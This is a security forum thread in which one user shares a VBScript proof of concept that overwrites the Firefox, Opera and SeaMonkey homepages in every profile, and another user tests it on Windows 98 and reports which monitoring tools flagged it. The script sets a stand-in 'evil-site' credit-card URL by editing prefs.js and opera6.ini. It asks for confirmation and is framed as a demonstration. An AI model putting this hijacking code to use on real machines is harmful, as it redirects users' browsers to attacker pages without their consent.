Is there any malware that affects browsers other than IE?

I've never had any need for WMI so it's not installed on either box.

No. I get an error message "Cannot find the file '%appdata%' (or one of its components).....
Rick

 

vkidv,
I've apparently given you some wrong information in the previous posts. Both my 98FE and 98SE boxes have some WMI files. They're part of the original install. Didn't think to check my initial file lists for it.
Both OS contain the following:

In C:\windows\system\
wmi.dll
wmicore.dll
wmiexe.exe

In C:\WINDOWS\SYSTEM32\DRIVERS\
wmidrv.sys
wmilib.sys

I've never installed wmi9x.exe on either so I don't know what else it installs or if it's necessary for your script to work.
Rick

 

Sorry my delay in replying. I reinstalled VMWare and used the old image of my old Windows 98 Restore CD. I've since reinstalled Opera, Firefox and Seamonkey (and FTP so I could transfer files from this Windows XP and 98 )
EDIT: Interesting smiley false positive on .

Code:

8)

.

I modified the script to work on my Windows 98.

Hopefully this will function for you too.

Thanks for the updated information! I've removed WMI usage for Windows 98 users. I shouldn't make you install WMI to test a proof of concept.

Because of this, the script cannot check if you have SeaMonkey, Firefox or Opera open. Make sure you close them or the script will not save correctly. (There is no risk, only risk of losing the home page setting that the script tries to set)

Here is the amended code:

Code:

'' change homepages of alternative browsers
'' written by vkidv, July 2007
'' tested under limited user in windows xp sp2
'' version +2, amended 28 July 2007
'' hopefully works on Windows 98
'' firefox, opera and seamonkey


Dim fso : Set fso = CreateObject("Scripting.FileSystemObject")
Set WShell = CreateObject("WScript.Shell")
Const ForReading = 1, ForWriting = 2, ForAppending = 8, TRISTATE_FALSE = 0

DefaultHomepage = "http://evil-site/?creditcarddetails"
' this intentionally doesn't resolve to demonstrate

Dim AppData

CloseIt = " is open and needs to be closed..."



Function isOldOS()
  If fso.FolderExists( WShell.ExpandEnvironmentStrings("%APPDATA%") ) Then
    isOldOS = False
  Else
    isOldOS = True
  End If
End Function

Sub SetAppData()

If isOldOS() Then

  Dim PossibleProfiles()
  ProfileCount = 0
  ProfileDir = "%WINDIR%\Profiles\"
  
  Set ProfileDir = fso.GetFolder(WShell.ExpandEnvironmentStrings(ProfileDir))
  
  If ProfileDir.Subfolders.Count > 0 Then

  For Each Profile in ProfileDir.Subfolders
  AD = Profile.Path & "\Application Data\"
    If fso.FolderExists(AD) Then
      ReDim Preserve PossibleProfiles(ProfileCount+1)
      PossibleProfiles(ProfileCount) = AD 
	ProfileList = ProfileList & "[" & ProfileCount & "] - " & Profile.Path & vbNewLine
      ProfileCount = ProfileCount + 1
    End If
  Next

	ChosenProfile = InputBox("Which profile number? " & vbNewLine & ProfileList)
	If CInt(ChosenProfile) >= 0 And CInt(ChosenProfile) < UBound(PossibleProfiles) And Not vbEmpty Then
		AppData = PossibleProfiles(ChosenProfile)
	Else
		WScript.Quit()
	End If
Else
	AppData = "%WINDIR%\Application Data"
	' no other profiles
End If

Else
  AppData = "%APPDATA%"

End If

AppData = WShell.ExpandEnvironmentStrings(AppData) & "\"
End Sub

Function CheckApp(strApplication, strProcess)

	Installed = MsgBox(strApplication & " CHECK" & vbNewLine & "Press YES if " & strApplication & " is installed." & vbNewLine & vbNewLine & "Press NO if you do not have this application." & vbNewLine & vbNewLine,4)
	If Installed = vbNo Then 
		CheckApp = False
		Exit Function
	End If

If isOldOS() Then
 CheckApp = True
 Exit Function
End If

'' code following is from script center technet converted into function for conveniency
  strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcesses = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = '"& strProcess &"'")

  If colProcesses.Count = 0 Then
      CheckApp = True
  Else
      CheckApp = True
  End If
  
  Set objWMIService = Nothing
  Set colProcesses = Nothing
End Function

SetAppData() ' set accurate directory for application data

  If CheckApp("Mozilla Firefox","firefox.exe") Then
    NewHomepage = GetNewHomepageFor("Firefox") 
    If NewHomepage <> False Then Firefox NewHomepage
  End If
  
  If CheckApp("Opera","Opera.exe") Then
    NewHomepage = GetNewHomepageFor("Opera")
    If NewHomepage <> False Then Opera NewHomepage
  End If
  
  If CheckApp("SeaMonkey","seamonkey.exe") Then
    NewHomepage = GetNewHomepageFor("SeaMonkey")
    If NewHomepage <> False Then SeaMonkey NewHomepage
  End If

Function GetNewHomepageFor(strFor) 
  If WScript.Arguments.Count = 1 Then
    GetNewHomepageFor = WScript.Arguments(0)
  Else
    Specify = InputBox("WARNING: Current homepage for " & strFor & " will be overwritten with the following homepage. Cancel to stop.","New homepage for " & strFor, DefaultHomepage)
    If Specify <> vbEmpty Then
      DefaultHomepage = Specify
      GetNewHomepageFor = Specify
    Else
      GetNewHomepageFor = False
    End If
  End IF
End Function

Sub Opera(strURL)
'' changes opera homepage
  OperaDir = AppData & "Opera\Opera\profile\"
  
  If fso.FolderExists(OperaDir) Then
    WScript.Echo "Opera homepage changed to " & strURL
    WriteIni OperaDir&"opera6.ini","User Prefs","Home URL",strURL
  End If
End Sub

Sub Firefox(strURL)
  
  ProfileDir = AppData & "Mozilla\Firefox\"
  
  profile_count = 0
  Completion = ""
  
  Do Until iReturn = 2
    Profile = GetINI(ProfileDir & "profiles.ini","Profile" & profile_count,"Path", "", iReturn)
  If iReturn = 2 Then Exit Do
    
    Profile = Replace(Profile,"/","\")
    Completion = Completion & "Firefox homepage for '" & Profile & "' changed to " & strURL
    Profile = ProfileDir & Profile
    Set FireConfig = fso.OpenTextFile(Profile & "\prefs.js", ForAppending)
    FireConfig.WriteLine("user_pref('browser.startup.homepage','" & strURL & "'); // i am maliciously added)")
        
    profile_count = profile_count + 1
  Loop
  
  If Len(Completion) > 0 Then WScript.Echo Completion
  Set Completion = Nothing
  
End Sub

Sub SeaMonkey(strURL)
  ProfileDir = AppData & "Mozilla\Profiles\"
  Set ProfileDir = fso.GetFolder(ProfileDir)
  
  Completion = ""
  For Each NamedProfile in ProfileDir.SubFolders
  ' the user-named profiles
    
    For Each Profile in NamedProfile.SubFolders
      If fso.FileExists(Profile.Path & "\prefs.js") Then
      Completion = Completion & "SeaMonkey homepage for profile named '" & NamedProfile.Name & "'' changed to " & strURL & vbNewLine
      SeaMonkeyProfile Profile.Path,strURL
       Exit For ' we found the profile file so we can stop
      End If
    Next
  Next
  
  If Len(Completion) > 0 Then WScript.Echo Completion
  Set Completion = Nothing

End Sub

Sub SeaMonkeyProfile(Profile,strURL)
  
  Set SeaConfig = fso.OpenTextFile(Profile & "\prefs.js", ForAppending)
    SeaConfig.WriteLine("user_pref('browser.startup.homepage','" & strURL & "'); // i am maliciously added)")
  Set SeaConfig = Nothing
  
End Sub

'' FOLLOWING CODE IS NOT AUTHORED BY ME
'' OBTAINED FROM http://mystuff.clarke.co.nz/MyStuff/vbsstuff.asp?func=CreateTempFile&Title=Generate%20a%20filename%20and%20path%20for%20a%20working%20file%20in%20the%20%25temp%25%20directory#CreateTempFile
'' very useful, thankyou

Function DeleteFile(strFiletoDelete)
    if fso.FileExists(strFiletoDelete) then
        set f=fso.GetFile(strFiletoDelete)
        f.attributes = 0 
        f.Delete True 
    end if
End Function

Function GetINI(str_FileName,str_SectionName,str_ItemName, sDefault, iReturn)
  'iReturn : 1 = File not found
  ' 2 = Section not found
  ' 3 = Item not found 
  Dim sTEMP, myFile, strFileName, strSectionName, strItemName
  iReturn=0 
  strFileName=str_FileName
  strSectionName=str_SectionName
  strItemName=str_ItemName
  GetINI = sDefault

  strFileName=Trim(strFileName)
  strSectionName=Trim(strSectionName)
  strItemName=Trim(strItemName)

  If Left(strSectionName,1) <> "[" Then
    strSectionName="[" + strSectionName
  End If 

  If Right(strSectionName,1) <> "]" Then
    strSectionName=strSectionName + "]"
  End If 

  If Not fso.fileexists(strFileName) Then
    iReturn = 1
    Exit Function
  End If 

  Set MyFile = fso.OpenTextFile(strFileName, ForReading)
  'Detect Empty File
  If myfile.AtEndOfStream Then
    MyFile.Close
    Exit Function 
  End If
  Do
    sTEMP = Trim(MyFile.ReadLine)
    If Left(sTEMP,1) = ";" Then ' ignore a line that start with a ";"
      sTEMP=""
    End If
  Loop Until myfile.AtEndOfStream Or (InStr(UCase(sTEMP),UCase(strSectionName)) = 1) 

  If myfile.AtEndOfStream Then
    iReturn = 2
    MyFile.Close
    Exit Function 
  End If 

  Do
    sTEMP = Trim(MyFile.ReadLine)
    If Left(sTEMP,1) = ";" Then ' ignore a line that start with a ";"
      sTEMP=""
    End If
    If InStr(UCase(sTEMP),"[") = 1 Then ' Start of next section
      iReturn = 3
      MyFile.Close
      Exit Function 
    End If
  Loop Until myfile.AtEndOfStream Or (InStr(UCase(sTEMP),UCase(strItemName)) = 1) 

  MyFile.Close

  If (InStr(UCase(sTEMP),UCase(strItemName)) <> 1) Then
    iReturn = 3
    Exit Function 
  End If 

  sTEMP=Trim(Right(sTEMP,Len(sTEMP) - (InStr(sTEMP,"="))))

  If InStr(sTEMP,";") <> 0 Then ' Check for "on the line" comments
    sTEMP=Trim(Left(sTEMP,InStr(sTEMP,";")-1))
  End If

  If sTEMP <> "" Then : GetINI=sTEMP
End Function 

Function GenerateTempFileName 
    Const TEMPORARY_FOLDER = 2
    Dim fso : Set fso = CreateObject("Scripting.FileSystemObject")
    Dim tfolder, tname
    Set tfolder = fso.GetSpecialFolder(TEMPORARY_FOLDER)
    tname = fso.GetTempName 
    GenerateTempFileName = tfolder & "\" & tname 
End Function 


Function WriteIni(strFileName, strSection, strItem, strValue)
  Dim bSectionExists, bInSection, bItemExists, bwrote, strPath, strline, strUcaseLine, iReturn, tfSourceINI, tfDestINI, strWorkingFile, aX, sLeftofEquals

  strWorkingFile=GenerateTempFileName
  DeleteFile(strWorkingFile) ' Delete the temporary file if it exists
  bInSection = False
  bSectionExists = False
  GetINI strFileName, strSection, strItem,"",iReturn
  if iReturn = 0 then
    bItemExists = TRUE
  else
    bItemExists = FALSE
  end if
  bwrote = False
  Err.Clear
  Set tfSourceINI = fso.OpenTextFile(strFileName, ForReading, True)
  Set tfDestINI = fso.OpenTextFile(strWorkingFile, ForWriting, True, TRISTATE_FALSE)
  If Err.Number <> 0 Then
    DeleteFile(strWorkingFile) 
    Set tfSourceINI = Nothing
    Set tfDestINI = Nothing
    WriteIni = False
    Exit Function
  End If
  While tfSourceINI.AtEndOfStream = False
    strline = Trim(tfSourceINI.ReadLine)
    strUcaseLine = UCase(strline)
    sLeftofEquals = strUcaseLine 
    if Len(strUcaseLine) > 1 then
      aX = Split(strUcaseLine,"=") ' Split up the string at the "=" 
      sLeftofEquals = Trim(aX(0)) ' Get the left most bit 
    end if
    If bwrote = False Then
      If strUcaseLine = UCase("[" & strSection & "]") Then
      bSectionExists = True
      bInSection = True
      ElseIf InStr(strline, "[") = 1 Then
        bInSection = False
      End If
    End If

    If bInSection Then 
      If bItemExists = False Then
        tfDestINI.WriteLine strline
        if len(strValue) => 1 then ' Don't write item out if Value is empty
          tfDestINI.WriteLine strItem & "=" & strValue
        end if 
        bwrote = True
        bInSection = False
      ElseIf sLeftofEquals = UCase(strItem) Then
        if len(strValue) => 1 then ' Don't write item out if Value is empty
          tfDestINI.WriteLine strItem & "=" & strValue
        end if 
        bwrote = True
        bInSection = False
      Else
        tfDestINI.WriteLine strline
      End If
    Else
      tfDestINI.WriteLine strline
    End If
  Wend
  If bSectionExists = False Then ' strSection doesn't exist
    tfDestINI.WriteLine
    tfDestINI.WriteLine "[" & strSection & "]"
    tfDestINI.WriteLine strItem & "=" & strValue
  End If

  tfSourceINI.Close
  tfDestINI.Close
  If Err.Number = 0 Then
    fso.DeleteFile strfilename
    fso.CopyFile strWorkingFile , strFilename
    DeleteFile(strWorkingFile)
    WriteIni = True
  Else
    DeleteFile(strWorkingFile)
    WriteIni = False
  End If
  Set tfSourceINI = Nothing
  Set tfDestINI = Nothing
End Function 

Again, please notify me of any errors or problems.

I thank you for your continued patience. This exercise does teach me something: Windows 98 is unlikely to be an attractive target due to the increased effort in trying to target.

 

Sorry about the delay. That script works on 98. Script Sentry alerted on the script, which is expected. SSM alerted to the launching of wscript. If I allow wscript to run, the script works.

I've only had time to check this on one box so far. After upgrading it, my 98SE test box does have wmi.exe as a running process. Hopefully I'll have time to try the different script versions on it this evening.
Rick

 

Thanks for your patience.

What is SSM?

 

System Safety Monitor